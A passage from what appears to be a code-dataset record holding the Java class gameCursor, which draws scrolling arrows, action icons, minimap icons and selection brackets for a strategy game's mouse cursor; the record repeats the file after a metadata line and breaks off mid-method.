}else if(camera.MOVE_UP && !camera.MOVE_LEFT && ! camera.MOVE_RIGHT) {
drawIcon(arrowIcons[3], mouseX-12,0);
}else if(camera.MOVE_LEFT && !camera.MOVE_UP && ! camera.MOVE_DOWN) {
drawIcon(arrowIcons[2], 0,mouseY-12);
}else if(camera.MOVE_RIGHT && !camera.MOVE_UP && ! camera.MOVE_DOWN) {
drawIcon(arrowIcons[0], screen_width-23 ,mouseY-12);
}else if(camera.MOVE_RIGHT && camera.MOVE_UP) {
if(mouseY> screen_width - mouseX) {
cursorX = screen_width-21;
cursorY = mouseY-12;
}else {
cursorX = mouseX-12;
cursorY = -3;
}
if(cursorX > screen_width-21)
cursorX = screen_width-21;
if(cursorY < -3)
cursorY = -3;
drawIcon(arrowIcons[4], cursorX, cursorY);
}else if(camera.MOVE_LEFT && camera.MOVE_UP) {
if(mouseY > mouseX) {
cursorX = -3;
cursorY = mouseY-12;
}else {
cursorX = mouseX - 12;
cursorY = -3;
}
if(cursorX < -3)
cursorX = -3;
if(cursorY < -3)
cursorY = -3;
drawIcon(arrowIcons[7], cursorX, cursorY);
}else if(camera.MOVE_LEFT && camera.MOVE_DOWN) {
if(screen_height - mouseY > mouseX) {
cursorX = -3;
cursorY = mouseY-12;
}else {
cursorX = mouseX-12;
cursorY = screen_height - 21;
}
if(cursorX < -3)
cursorX = -3;
if(cursorY > screen_height - 21)
cursorY = screen_height - 21;
drawIcon(arrowIcons[6], cursorX, cursorY);
}else if(camera.MOVE_RIGHT && camera.MOVE_DOWN) {
if(screen_height - mouseY > screen_width -mouseX) {
cursorX = screen_width-21;
cursorY = mouseY-12;
}else {
cursorX = mouseX-12;
cursorY = screen_height - 21;
}
if(cursorX >screen_width-21)
cursorX = screen_width-21;
if(cursorY > screen_height - 21)
cursorY = screen_height - 21;
drawIcon(arrowIcons[5], cursorX, cursorY);
}else if(mouseOverSelectableUnit && !cursorIsInMiniMap && !cursorIsInSideBar){
if((hasTroopsSelected || hasTowerSelected) && mouseOverUnitTeam == 1) {
drawActionIcon(mouseX, mouseY, 1);
}else if(!hasHarvesterSelected && !hasTroopsSelected && !hasTowerSelected) {
if(!mouseOverUnitIsSelected)
drawSelectionIcon(mouseX, mouseY);
else
drawIcon(cursorIcon, mouseX, mouseY);
}else if(mouseOverUnitTeam == 0 && !(attackKeyPressed && (hasTroopsSelected || hasTowerSelected)) && !(hasHarvesterSelected && mouseOverUnitType == 102)) {
if(!mouseOverUnitIsSelected)
drawSelectionIcon(mouseX, mouseY);
else
drawIcon(cursorIcon, mouseX, mouseY);
}else if(mouseOverUnitType == 103 && !hasHarvesterSelected && !((hasTroopsSelected || hasTowerSelected) && attackKeyPressed)) {
if(!mouseOverUnitIsSelected)
drawSelectionIcon(mouseX, mouseY);
else
drawIcon(cursorIcon, mouseX, mouseY);
}else if((hasTroopsSelected || hasTowerSelected) && attackKeyPressed) {
drawActionIcon(mouseX, mouseY, 1);
}else if(hasHarvesterSelected && (mouseOverUnitType == 102 || mouseOverUnitType == 103)) {
drawActionIcon(mouseX, mouseY, 2);
//drawIcon(cursorIcon, mouseX, mouseY);
}else {
drawIcon(cursorIcon, mouseX, mouseY);
}
}else if(!mouseOverSelectableUnit && !cursorIsInMiniMap && !cursorIsInSideBar){
if(!hasHarvesterSelected && !hasTroopsSelected && !(hasTowerSelected && attackKeyPressed) && !hasConVehicleSelected) {
drawIcon(cursorIcon, mouseX, mouseY);
}else if(((hasHarvesterSelected || hasConVehicleSelected) && !(hasTroopsSelected)) || ((hasTroopsSelected) && !attackKeyPressed) ) {
drawActionIcon(mouseX, mouseY, 0);
//drawIcon(cursorIcon, mouseX, mouseY);
}else if((hasTroopsSelected || hasTowerSelected) && attackKeyPressed) {
drawActionIcon(mouseX, mouseY, 1);
}
}else if(cursorIsInMiniMap && attackKeyPressed && hasTroopsSelected){
drawMinimapAttackIcon(mouseX, mouseY);
}else if(cursorIsInMiniMap && (hasTroopsSelected || hasConVehicleSelected || hasHarvesterSelected)){
drawMinimapMoveIcon(mouseX, mouseY);
}else {
//draw default icon
drawIcon(cursorIcon, mouseX, mouseY);
}
}else {
//draw default icon
drawIcon(cursorIcon, mouseX, mouseY);
}
}
public void loadTexture(String imgName, int[] buffer, int width, int height){
Image img = null;
try{
img = ImageIO.read(getClass().getResource(imgName));
}catch(Exception e){
e.printStackTrace();
}
PixelGrabber pg = new PixelGrabber(img, 0, 0, width, height, buffer, 0, width);
try {
pg.grabPixels();
}catch(Exception e){
e.printStackTrace();
}
}
public void drawMinimapAttackIcon(int xPos, int yPos) {
int arrowColor = 240 << 16 | 76 << 8 | 34;
int index = 0;
int color = 0;
int blue = 0;
int red = 0;
int start = xPos - 10 + (yPos-10)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons4[j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(!pixelInsideSideArea(index))
continue;
if(red > 150)
color = arrowColor;
screen[index] = color;
}
}
}
}
public void drawMinimapMoveIcon(int xPos, int yPos) {
int arrowColor = 34 << 16 | 200 << 8 | 76;
int index = 0;
int color = 0;
int blue = 0;
int red = 0;
int start = xPos - 10 + (yPos-10)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons4[j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(!pixelInsideSideArea(index))
continue;
if(red > 150)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
}
public void drawActionIcon(int xPos, int yPos, int type) {
xPos-=10;
yPos-=10;
int r = (7 - (mainThread.gameFrame%21)/3) + 9;
int index = 0;
int color = 0;
int blue = 0;
int red = 0;
int arrowColor = 0;
if(type == 0)
arrowColor = 34 << 16 | 200 << 8 | 76;
if(type == 1)
arrowColor = 240 << 16 | 76 << 8 | 34;
if(type == 2)
arrowColor = 255 << 16 | 242 << 8 | 0;
//draw up left arrow
int start = xPos - r + (yPos-r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[2][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
//draw up right arrow
start = xPos + r + (yPos-r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[3][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
//draw down right arrow
start = xPos + r + (yPos + r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[0][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
//draw down left arrow
start = xPos -r + (yPos + r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[1][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
}
public boolean pixelInsideSideArea(int index){
int x = index%screen_width;
int y = index/screen_width;
if(x >=3 && x <=133 && y >= screen_height-134 && y <= screen_height-3)
return true;
if(x >=screen_width-133 && x <=screen_width-3 && y >= screen_height-134 && y <= screen_height-3)
return true;
return false;
}
public void drawIcon(int[] icon, int xPos, int yPos) {
int color = 0;
for(int i = 0; i < 24; i++) {
for(int j = 0; j < 24; j++) {
int x = xPos + j;
int y = yPos + i;
if(x < 0 || x >= screen_width)
continue;
if(y < 0 || y >= screen_height)
continue;
color = icon[j+i*24];
int blue = color&0xff;
int red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = x + y*screen_width;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[x + y*screen_width];
iconOverWriteBufferIndex++;
screen[x + y*screen_width] = color;
}
}
}
public void drawSelectionIcon(int xPos, int yPos) {
int r = (9 - (mainThread.gameFrame%18)/2) + 10;
int w = 8;
int index = 0;
int lightGray = 0xffffff;
int darkGray = 0x222222;
//draw top left
int start = xPos - r + (yPos-r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start - screen_width - 2 + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start + w - screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start - 2 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - 1 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start -1 + w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
//draw top right
start = xPos + r + (yPos-r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start - screen_width + 2 - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start - w - screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start + 2 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + 1 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start +1 + w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
//draw bottom left
start = xPos - r + (yPos+r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start + screen_width - 2 + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start + w + screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start - 2 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - 1 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start -1 - w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
//draw bottom right
start = xPos + r + (yPos+r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start + screen_width + 2 - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start - w + screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start + 2 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + 1 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start +1 - w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
}
}
| UTF-8 | Java | 19,055 | java | gameCursor.java | Java | [] | null | [] | package gui;
import java.awt.Image;
import java.awt.image.PixelGrabber;
import javax.imageio.ImageIO;
import core.camera;
import core.mainThread;
public class gameCursor {
public int[][] arrowIcons;
public int[][] smallArrowIcons;
public int[] smallArrowIcons4;
public int[] cursorIcon;
public int[] screen;
public int[][] iconOverWriteBuffer;
public int iconOverWriteBufferIndex;
public static int screen_width = mainThread.screen_width;
public static int screen_height = mainThread.screen_height;
public static int screen_size = mainThread.screen_size;
public void init() {
String folder = "../images/";
arrowIcons = new int[8][24*24];
for(int i = 0; i < 8; i++) {
loadTexture(folder + "arrow"+i+".png", arrowIcons[i], 24,24);
}
smallArrowIcons = new int[4][20*20];
for(int i = 0; i < 4; i++) {
loadTexture(folder + "smallArrow"+i+".png", smallArrowIcons[i], 20,20);
}
cursorIcon = new int[24*24];
loadTexture(folder + "cursor.png", cursorIcon, 24,24);
smallArrowIcons4 = new int[20*20];
loadTexture(folder + "smallArrow4.png", smallArrowIcons4, 20,20);
iconOverWriteBuffer = new int[1024][2];
for(int i = 0; i < 1024; i++) {
iconOverWriteBuffer[i][0] = -1;
}
}
public void updateAndDraw(int[] screen) {
this.screen = screen;
int mouseX = inputHandler.mouse_x;
int mouseY = inputHandler.mouse_y;
boolean mouseOverSelectableUnit = mainThread.pc.mouseOverSelectableUnit;
int mouseOverUnitType = mainThread.pc.mouseOverUnitType;
int mouseOverUnitTeam = mainThread.pc.mouseOverUnitTeam;
boolean mouseOverUnitIsSelected = mainThread.pc.mouseOverUnitIsSelected;
boolean hasConVehicleSelected = mainThread.pc.hasConVehicleSelected;
boolean hasHarvesterSelected = mainThread.pc.hasHarvesterSelected;
boolean hasTroopsSelected = mainThread.pc.hasTroopsSelected;
boolean hasTowerSelected = mainThread.pc.hasTowerSelected;
boolean attackKeyPressed = mainThread.pc.attackKeyPressed;
boolean cursorIsInMiniMap = mainThread.pc.cursorIsInMiniMap();
boolean cursorIsInSideBar = mainThread.pc.cursorIsInSideBar();
for(int i = 0; i < 1024; i++) {
if(iconOverWriteBuffer[i][0] == -1)
break;
screen[iconOverWriteBuffer[i][0]] = iconOverWriteBuffer[i][1];
iconOverWriteBuffer[i][0] = -1;
}
iconOverWriteBufferIndex = 0;
if(!mainThread.gamePaused && mainThread.gameStarted) {
//draw arrow icons if the player is scrolling the screen with the mouse
int cursorX = 0;
int cursorY = 0;
if(camera.MOVE_DOWN && !camera.MOVE_LEFT && ! camera.MOVE_RIGHT) {
drawIcon(arrowIcons[1], mouseX-12,screen_height - 23);
}else if(camera.MOVE_UP && !camera.MOVE_LEFT && ! camera.MOVE_RIGHT) {
drawIcon(arrowIcons[3], mouseX-12,0);
}else if(camera.MOVE_LEFT && !camera.MOVE_UP && ! camera.MOVE_DOWN) {
drawIcon(arrowIcons[2], 0,mouseY-12);
}else if(camera.MOVE_RIGHT && !camera.MOVE_UP && ! camera.MOVE_DOWN) {
drawIcon(arrowIcons[0], screen_width-23 ,mouseY-12);
}else if(camera.MOVE_RIGHT && camera.MOVE_UP) {
if(mouseY> screen_width - mouseX) {
cursorX = screen_width-21;
cursorY = mouseY-12;
}else {
cursorX = mouseX-12;
cursorY = -3;
}
if(cursorX > screen_width-21)
cursorX = screen_width-21;
if(cursorY < -3)
cursorY = -3;
drawIcon(arrowIcons[4], cursorX, cursorY);
}else if(camera.MOVE_LEFT && camera.MOVE_UP) {
if(mouseY > mouseX) {
cursorX = -3;
cursorY = mouseY-12;
}else {
cursorX = mouseX - 12;
cursorY = -3;
}
if(cursorX < -3)
cursorX = -3;
if(cursorY < -3)
cursorY = -3;
drawIcon(arrowIcons[7], cursorX, cursorY);
}else if(camera.MOVE_LEFT && camera.MOVE_DOWN) {
if(screen_height - mouseY > mouseX) {
cursorX = -3;
cursorY = mouseY-12;
}else {
cursorX = mouseX-12;
cursorY = screen_height - 21;
}
if(cursorX < -3)
cursorX = -3;
if(cursorY > screen_height - 21)
cursorY = screen_height - 21;
drawIcon(arrowIcons[6], cursorX, cursorY);
}else if(camera.MOVE_RIGHT && camera.MOVE_DOWN) {
if(screen_height - mouseY > screen_width -mouseX) {
cursorX = screen_width-21;
cursorY = mouseY-12;
}else {
cursorX = mouseX-12;
cursorY = screen_height - 21;
}
if(cursorX >screen_width-21)
cursorX = screen_width-21;
if(cursorY > screen_height - 21)
cursorY = screen_height - 21;
drawIcon(arrowIcons[5], cursorX, cursorY);
}else if(mouseOverSelectableUnit && !cursorIsInMiniMap && !cursorIsInSideBar){
if((hasTroopsSelected || hasTowerSelected) && mouseOverUnitTeam == 1) {
drawActionIcon(mouseX, mouseY, 1);
}else if(!hasHarvesterSelected && !hasTroopsSelected && !hasTowerSelected) {
if(!mouseOverUnitIsSelected)
drawSelectionIcon(mouseX, mouseY);
else
drawIcon(cursorIcon, mouseX, mouseY);
}else if(mouseOverUnitTeam == 0 && !(attackKeyPressed && (hasTroopsSelected || hasTowerSelected)) && !(hasHarvesterSelected && mouseOverUnitType == 102)) {
if(!mouseOverUnitIsSelected)
drawSelectionIcon(mouseX, mouseY);
else
drawIcon(cursorIcon, mouseX, mouseY);
}else if(mouseOverUnitType == 103 && !hasHarvesterSelected && !((hasTroopsSelected || hasTowerSelected) && attackKeyPressed)) {
if(!mouseOverUnitIsSelected)
drawSelectionIcon(mouseX, mouseY);
else
drawIcon(cursorIcon, mouseX, mouseY);
}else if((hasTroopsSelected || hasTowerSelected) && attackKeyPressed) {
drawActionIcon(mouseX, mouseY, 1);
}else if(hasHarvesterSelected && (mouseOverUnitType == 102 || mouseOverUnitType == 103)) {
drawActionIcon(mouseX, mouseY, 2);
//drawIcon(cursorIcon, mouseX, mouseY);
}else {
drawIcon(cursorIcon, mouseX, mouseY);
}
}else if(!mouseOverSelectableUnit && !cursorIsInMiniMap && !cursorIsInSideBar){
if(!hasHarvesterSelected && !hasTroopsSelected && !(hasTowerSelected && attackKeyPressed) && !hasConVehicleSelected) {
drawIcon(cursorIcon, mouseX, mouseY);
}else if(((hasHarvesterSelected || hasConVehicleSelected) && !(hasTroopsSelected)) || ((hasTroopsSelected) && !attackKeyPressed) ) {
drawActionIcon(mouseX, mouseY, 0);
//drawIcon(cursorIcon, mouseX, mouseY);
}else if((hasTroopsSelected || hasTowerSelected) && attackKeyPressed) {
drawActionIcon(mouseX, mouseY, 1);
}
}else if(cursorIsInMiniMap && attackKeyPressed && hasTroopsSelected){
drawMinimapAttackIcon(mouseX, mouseY);
}else if(cursorIsInMiniMap && (hasTroopsSelected || hasConVehicleSelected || hasHarvesterSelected)){
drawMinimapMoveIcon(mouseX, mouseY);
}else {
//draw default icon
drawIcon(cursorIcon, mouseX, mouseY);
}
}else {
//draw default icon
drawIcon(cursorIcon, mouseX, mouseY);
}
}
public void loadTexture(String imgName, int[] buffer, int width, int height){
Image img = null;
try{
img = ImageIO.read(getClass().getResource(imgName));
}catch(Exception e){
e.printStackTrace();
}
PixelGrabber pg = new PixelGrabber(img, 0, 0, width, height, buffer, 0, width);
try {
pg.grabPixels();
}catch(Exception e){
e.printStackTrace();
}
}
public void drawMinimapAttackIcon(int xPos, int yPos) {
int arrowColor = 240 << 16 | 76 << 8 | 34;
int index = 0;
int color = 0;
int blue = 0;
int red = 0;
int start = xPos - 10 + (yPos-10)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons4[j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(!pixelInsideSideArea(index))
continue;
if(red > 150)
color = arrowColor;
screen[index] = color;
}
}
}
}
public void drawMinimapMoveIcon(int xPos, int yPos) {
int arrowColor = 34 << 16 | 200 << 8 | 76;
int index = 0;
int color = 0;
int blue = 0;
int red = 0;
int start = xPos - 10 + (yPos-10)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons4[j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(!pixelInsideSideArea(index))
continue;
if(red > 150)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
}
public void drawActionIcon(int xPos, int yPos, int type) {
xPos-=10;
yPos-=10;
int r = (7 - (mainThread.gameFrame%21)/3) + 9;
int index = 0;
int color = 0;
int blue = 0;
int red = 0;
int arrowColor = 0;
if(type == 0)
arrowColor = 34 << 16 | 200 << 8 | 76;
if(type == 1)
arrowColor = 240 << 16 | 76 << 8 | 34;
if(type == 2)
arrowColor = 255 << 16 | 242 << 8 | 0;
//draw up left arrow
int start = xPos - r + (yPos-r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[2][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
//draw up right arrow
start = xPos + r + (yPos-r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[3][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
//draw down right arrow
start = xPos + r + (yPos + r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[0][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
//draw down left arrow
start = xPos -r + (yPos + r)*screen_width;
for(int i = 0; i < 20; i++) {
for(int j = 0; j < 20; j++) {
index = start + j + i*screen_width;
if(index > 0 && index < screen_size) {
color = smallArrowIcons[1][j+i*20];
blue = color&0xff;
red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
if(pixelInsideSideArea(index))
continue;
if(red > 200)
color = arrowColor;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = index;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[index];
iconOverWriteBufferIndex++;
screen[index] = color;
}
}
}
}
public boolean pixelInsideSideArea(int index){
int x = index%screen_width;
int y = index/screen_width;
if(x >=3 && x <=133 && y >= screen_height-134 && y <= screen_height-3)
return true;
if(x >=screen_width-133 && x <=screen_width-3 && y >= screen_height-134 && y <= screen_height-3)
return true;
return false;
}
public void drawIcon(int[] icon, int xPos, int yPos) {
int color = 0;
for(int i = 0; i < 24; i++) {
for(int j = 0; j < 24; j++) {
int x = xPos + j;
int y = yPos + i;
if(x < 0 || x >= screen_width)
continue;
if(y < 0 || y >= screen_height)
continue;
color = icon[j+i*24];
int blue = color&0xff;
int red = (color&0xff0000) >> 16;
if(red < 100 && blue > 100)
continue;
iconOverWriteBuffer[iconOverWriteBufferIndex][0] = x + y*screen_width;
iconOverWriteBuffer[iconOverWriteBufferIndex][1] = screen[x + y*screen_width];
iconOverWriteBufferIndex++;
screen[x + y*screen_width] = color;
}
}
}
public void drawSelectionIcon(int xPos, int yPos) {
int r = (9 - (mainThread.gameFrame%18)/2) + 10;
int w = 8;
int index = 0;
int lightGray = 0xffffff;
int darkGray = 0x222222;
//draw top left
int start = xPos - r + (yPos-r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start - screen_width - 2 + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start + w - screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start - 2 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - 1 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start -1 + w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
//draw top right
start = xPos + r + (yPos-r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start - screen_width + 2 - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start - w - screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start + 2 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + 1 + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start + screen_width + i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start +1 + w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
//draw bottom left
start = xPos - r + (yPos+r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start + screen_width - 2 + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + i;
